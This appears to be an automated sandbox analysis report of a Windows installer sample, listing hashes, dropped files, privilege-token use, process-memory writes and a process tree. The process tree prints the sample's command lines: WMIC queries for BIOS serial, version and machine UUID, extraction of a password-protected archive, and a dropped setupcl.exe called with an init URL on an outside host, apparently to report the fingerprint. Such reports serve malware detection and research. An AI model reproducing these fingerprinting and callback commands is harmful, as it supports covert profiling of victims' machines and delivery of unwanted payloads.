61a1af913ef88b3f9c8e214e05f11305a7cadf4b9681a6c782556b35d63f9455

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
02/06/2024, 17:23

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General

Target

8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
Size

406KB
MD5

8ed848b82e2323e88daa47e864c1465e
SHA1

0b27e5c6d8711eca1ab13326e61923d040fbfc76
SHA256

61a1af913ef88b3f9c8e214e05f11305a7cadf4b9681a6c782556b35d63f9455
SHA512

41a29b56a37beb94913361fae90a8a67aa8a98377a18ff49af0c49e2eab58772fffb8c858a757dd6777365e8b7858bf8a05963fb2bef8c9e6f4d024b26417160
SSDEEP

12288:XA0i50GlEwz66JcUXKQJMeTupN+CVr8Jaf7IVz92J7r:XAfyGqXUXJMnNRVrdf7IVa3

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
764	7za.exe
5052	setupcl.exe

Loads dropped DLL 5 IoCs

pid	Process
4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4480	WMIC.exe
Token: SeSecurityPrivilege	4480	WMIC.exe
Token: SeTakeOwnershipPrivilege	4480	WMIC.exe
Token: SeLoadDriverPrivilege	4480	WMIC.exe
Token: SeSystemProfilePrivilege	4480	WMIC.exe
Token: SeSystemtimePrivilege	4480	WMIC.exe
Token: SeProfSingleProcessPrivilege	4480	WMIC.exe
Token: SeIncBasePriorityPrivilege	4480	WMIC.exe
Token: SeCreatePagefilePrivilege	4480	WMIC.exe
Token: SeBackupPrivilege	4480	WMIC.exe
Token: SeRestorePrivilege	4480	WMIC.exe
Token: SeShutdownPrivilege	4480	WMIC.exe
Token: SeDebugPrivilege	4480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4480	WMIC.exe
Token: SeRemoteShutdownPrivilege	4480	WMIC.exe
Token: SeUndockPrivilege	4480	WMIC.exe
Token: SeManageVolumePrivilege	4480	WMIC.exe
Token: 33	4480	WMIC.exe
Token: 34	4480	WMIC.exe
Token: 35	4480	WMIC.exe
Token: 36	4480	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4480	WMIC.exe
Token: SeSecurityPrivilege	4480	WMIC.exe
Token: SeTakeOwnershipPrivilege	4480	WMIC.exe
Token: SeLoadDriverPrivilege	4480	WMIC.exe
Token: SeSystemProfilePrivilege	4480	WMIC.exe
Token: SeSystemtimePrivilege	4480	WMIC.exe
Token: SeProfSingleProcessPrivilege	4480	WMIC.exe
Token: SeIncBasePriorityPrivilege	4480	WMIC.exe
Token: SeCreatePagefilePrivilege	4480	WMIC.exe
Token: SeBackupPrivilege	4480	WMIC.exe
Token: SeRestorePrivilege	4480	WMIC.exe
Token: SeShutdownPrivilege	4480	WMIC.exe
Token: SeDebugPrivilege	4480	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4480	WMIC.exe
Token: SeRemoteShutdownPrivilege	4480	WMIC.exe
Token: SeUndockPrivilege	4480	WMIC.exe
Token: SeManageVolumePrivilege	4480	WMIC.exe
Token: 33	4480	WMIC.exe
Token: 34	4480	WMIC.exe
Token: 35	4480	WMIC.exe
Token: 36	4480	WMIC.exe
Token: SeIncreaseQuotaPrivilege	400	WMIC.exe
Token: SeSecurityPrivilege	400	WMIC.exe
Token: SeTakeOwnershipPrivilege	400	WMIC.exe
Token: SeLoadDriverPrivilege	400	WMIC.exe
Token: SeSystemProfilePrivilege	400	WMIC.exe
Token: SeSystemtimePrivilege	400	WMIC.exe
Token: SeProfSingleProcessPrivilege	400	WMIC.exe
Token: SeIncBasePriorityPrivilege	400	WMIC.exe
Token: SeCreatePagefilePrivilege	400	WMIC.exe
Token: SeBackupPrivilege	400	WMIC.exe
Token: SeRestorePrivilege	400	WMIC.exe
Token: SeShutdownPrivilege	400	WMIC.exe
Token: SeDebugPrivilege	400	WMIC.exe
Token: SeSystemEnvironmentPrivilege	400	WMIC.exe
Token: SeRemoteShutdownPrivilege	400	WMIC.exe
Token: SeUndockPrivilege	400	WMIC.exe
Token: SeManageVolumePrivilege	400	WMIC.exe
Token: 33	400	WMIC.exe
Token: 34	400	WMIC.exe
Token: 35	400	WMIC.exe
Token: 36	400	WMIC.exe
Token: SeIncreaseQuotaPrivilege	400	WMIC.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5052	setupcl.exe
5052	setupcl.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 4480	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	83
PID 4408 wrote to memory of 4480	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	83
PID 4408 wrote to memory of 4480	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	83
PID 4408 wrote to memory of 400	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	87
PID 4408 wrote to memory of 400	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	87
PID 4408 wrote to memory of 400	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	87
PID 4408 wrote to memory of 5072	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	90
PID 4408 wrote to memory of 5072	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	90
PID 4408 wrote to memory of 5072	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	90
PID 4408 wrote to memory of 1288	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	93
PID 4408 wrote to memory of 1288	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	93
PID 4408 wrote to memory of 1288	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	93
PID 4408 wrote to memory of 764	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	95
PID 4408 wrote to memory of 764	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	95
PID 4408 wrote to memory of 764	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	95
PID 4408 wrote to memory of 5052	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	97
PID 4408 wrote to memory of 5052	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	97
PID 4408 wrote to memory of 5052	4408	8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe	97
PID 5052 wrote to memory of 1504	5052	setupcl.exe	98
PID 5052 wrote to memory of 1504	5052	setupcl.exe	98
PID 5052 wrote to memory of 1504	5052	setupcl.exe	98

C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\8ed848b82e2323e88daa47e864c1465e_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get UUID /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4480
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get SerialNumber /FORMAT:textvaluelist.xsl
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:400
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC bios Get Version /FORMAT:textvaluelist.xsl
  2⤵
  PID:5072
- C:\Windows\SysWOW64\Wbem\WMIC.exe
  WMIC csproduct Get Name /FORMAT:textvaluelist.xsl
  2⤵
  PID:1288
- C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\7za.exe
  7za.exe e -y -p"0fa5b66b0db62333dc8db11064b97f90" [RANDOM_STRING].7z
  2⤵
  - Executes dropped EXE
  PID:764
- C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe
  "C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe" /initurl http://sub.yorkshatb.com/init/8ed848b82e2323e88daa47e864c1465e_JaffaCakes118/:uid:? /affid "-" /id "0" /name " " /uniqid 8ed848b82e2323e88daa47e864c1465e_JaffaCakes118 /uuid stance(s) Available. /biosserial /biosversion BOCHS - 1 /csname stance(s) Available.
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\SysWOW64\Wbem\wmic.exe
    wmic bios get serialnumber, version
    3⤵
    PID:1504

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\7za.exe

Filesize
574KB

MD5
42badc1d2f03a8b1e4875740d3d49336

SHA1
cee178da1fb05f99af7a3547093122893bd1eb46

SHA256
c136b1467d669a725478a6110ebaaab3cb88a3d389dfa688e06173c066b76fcf

SHA512
6bc519a7368ee6bd8c8f69f2d634dd18799b4ca31fbc284d2580ba625f3a88b6a52d2bc17bea0e75e63ca11c10356c47ee00c2c500294abcb5141424fc5dc71c

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\[RANDOM_STRING].7z

Filesize
80KB

MD5
8b4f2b82688776536999d719951ca4b2

SHA1
452783380250c619f08bee0d68bcf88261545a5e

SHA256
adf69e4b27d83c0124dd91180d085443f2d639923815ad1c30fd01f8eeff9932

SHA512
7a2f68642169492943b91aeee86c0a77240a07e7538b04ad94fed311e49f0ba335cb2058e7b84387266fccb197c2dbb2a485dc4c7f60f0912404adbf295e6d53

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\nsExec.dll

Filesize
8KB

MD5
b8be6632a7dc8136ff01338be40fe701

SHA1
043fa16929b2af5ed5c1c59b4035a10cf765fb43

SHA256
289786fe13801467653eb2712f47f162d6fd3fc2d844be342282f75fc2b2a085

SHA512
403474154ff8500e5aae2b4466c652e5d066af2c55d8f158e6f007492ceb1f3abcc6cca80842b90900db02db4258ddcda75dec1d1799af24969c35811891e5b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsh3337.tmp\setupcl.exe

Filesize
193KB

MD5
10bd2af1b07ec6bc9cd17ba512569e59

SHA1
807e17ab1b98177e135d30941b45081960d1e866

SHA256
9c620ef6eac3d0d9d3f6f2622a53d1f543cebd93846636ba397683962c07fc7c

SHA512
deacd041f12b6ec74f9e4488874ce962037990ed0ae424aaeabf2c35876b2ebbb943f92e9a4ffe504718bb00021209b035439ea4d7c64a4031b86ce9104ce3ed

Download Submit
memory/4408-35-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download